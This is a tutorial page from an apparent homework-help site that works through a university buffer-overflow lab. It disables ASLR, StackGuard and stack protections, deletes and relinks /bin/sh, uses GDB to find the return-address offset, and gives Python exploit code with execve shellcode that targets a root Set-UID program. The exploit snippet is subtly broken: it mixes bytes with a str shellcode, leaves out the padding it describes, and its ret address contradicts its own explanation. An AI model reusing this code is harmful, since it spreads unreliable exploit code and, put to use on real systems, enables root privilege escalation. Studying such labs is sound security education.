Assignment Chef icon Assignment Chef
All English tutorials

Programming lesson

Buffer Overflow Exploitation Lab: A Step-by-Step Guide for CSCI 180

Learn how to exploit a buffer overflow vulnerability in a Set-UID program on Ubuntu 20.04. This tutorial covers disabling ASLR, StackGuard, and non-executable stack, crafting shellcode, and debugging with GDB to find the return address offset.

buffer overflow CSCI 180 computer security lab Set-UID exploit shellcode injection ASLR disable Ubuntu StackGuard bypass GDB debugging exploit return address offset NOP sled ethical hacking tutorial penetration testing lab Ubuntu 20.04 security root shell exploit cybersecurity hands-on

Introduction to Buffer Overflow Exploitation

Buffer overflow attacks remain one of the most fundamental and dangerous exploit techniques in computer security. In this CSCI 180 lab, you will gain hands-on experience exploiting a buffer overflow vulnerability in a root-owned Set-UID program on Ubuntu 20.04. By disabling common countermeasures like Address Space Layout Randomization (ASLR), StackGuard, and the non-executable stack, you can inject shellcode that spawns a root shell. This tutorial mirrors real-world attack scenarios and prepares you for advanced topics in ethical hacking and penetration testing.

Step 1: Disabling Security Countermeasures

Modern operating systems and compilers implement several defenses to make buffer overflow attacks difficult. To replicate a vulnerable environment, you must disable them.

Disable ASLR

ASLR randomizes memory addresses, making it hard to predict the location of your shellcode. Disable it temporarily with:

sudo sysctl -w kernel.randomize_va_space=0

Verify the setting:

sysctl -a --pattern randomize

A value of 0 means randomization is off. Remember, this change is lost after reboot.

Disable StackGuard and Make Stack Executable

Compile the vulnerable program with:

gcc -m32 -z execstack -fno-stack-protector -o unsafe unsafe.c

The -fno-stack-protector flag disables StackGuard, and -z execstack makes the stack executable, allowing injected code to run.

Switch Shell to /bin/zsh

Ubuntu 20.04’s /bin/sh has a countermeasure that prevents it from running in a Set-UID process. Link it to /bin/zsh:

sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh

Check with ls -la /bin/sh; it should show /bin/zsh.

Step 2: Understanding the Shellcode

A shellcode is a small piece of code that launches a shell. The provided shellcodetest.c contains a bytecode array that executes /bin/sh. Compile and run it to verify:

gcc -m32 -z execstack -o shellcodetest shellcodetest.c
./shellcodetest

You should see a shell prompt ($). If not, check your compilation flags.

Step 3: Analyzing the Vulnerable Program

The unsafe.c program reads from inputfile into a small buffer using strcpy(), which does not check bounds. This allows you to overwrite the return address and redirect execution to your shellcode.

Stack Frame Diagram

Assume copyfunc() is called from foofunc(). The stack (from high to low address) contains:

  • foofunc stack frame: local variables, saved EBP, return address to main
  • copyfunc stack frame: local buffer (BUFFSIZE bytes), saved EBP, return address to foofunc

When copyfunc() runs, the buffer is at the lowest address, followed by saved EBP, then the return address. Overflowing the buffer overwrites these values.

Step 4: Crafting the Exploit

You will complete exploit.py to generate inputfile. The payload consists of three parts:

  1. NOP sled (0x90 bytes) to increase the chance of landing in the shellcode
  2. Shellcode (the bytecode from shellcodetest.c)
  3. Return address pointing to the middle of the NOP sled

Finding the Offset and Return Address

Use GDB to debug unsafe:

gdb ./unsafe
break copyfunc
run
info frame

Note the address of the buffer (e.g., 0xffffd2b0) and the saved return address location. The offset is the distance from the buffer start to the return address. For example, if buffer is at 0xffffd2b0 and return address is at 0xffffd2ec, the offset is 0x3c (60 bytes).

Completing exploit.py

Your script should:

  • Set shellcode variable to the bytecode array from shellcodetest.c
  • Set ret variable to the buffer address plus an offset (e.g., 0xffffd2b0 + 0x10)
  • Construct content as: NOP sled + shellcode + padding + ret

Example snippet:

shellcode = (
  "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
)
ret = 0xffffd2c0  # address in NOP sled
padding = 0x3c - len(shellcode)
content = b'\x90' * padding + shellcode + ret.to_bytes(4, 'little')

Step 5: Running the Exploit

Generate the input file:

python3 exploit.py

Then run the vulnerable program:

./unsafe

If successful, you’ll get a root shell (#). Verify with id command. Your effective UID should be 0.

Troubleshooting Common Issues

  • Permission denied: Run chmod +x exploit.py.
  • Segmentation fault: Adjust the return address or increase NOP sled size.
  • No shell spawned: Ensure /bin/sh is linked to /bin/zsh and ASLR is off.

Conclusion

This buffer overflow exercise demonstrates how disabling security mechanisms can leave a system vulnerable. Understanding these techniques is crucial for both offensive security (penetration testing) and defensive programming. As AI-driven code analysis tools become more common, manual exploit development remains a vital skill for cybersecurity professionals.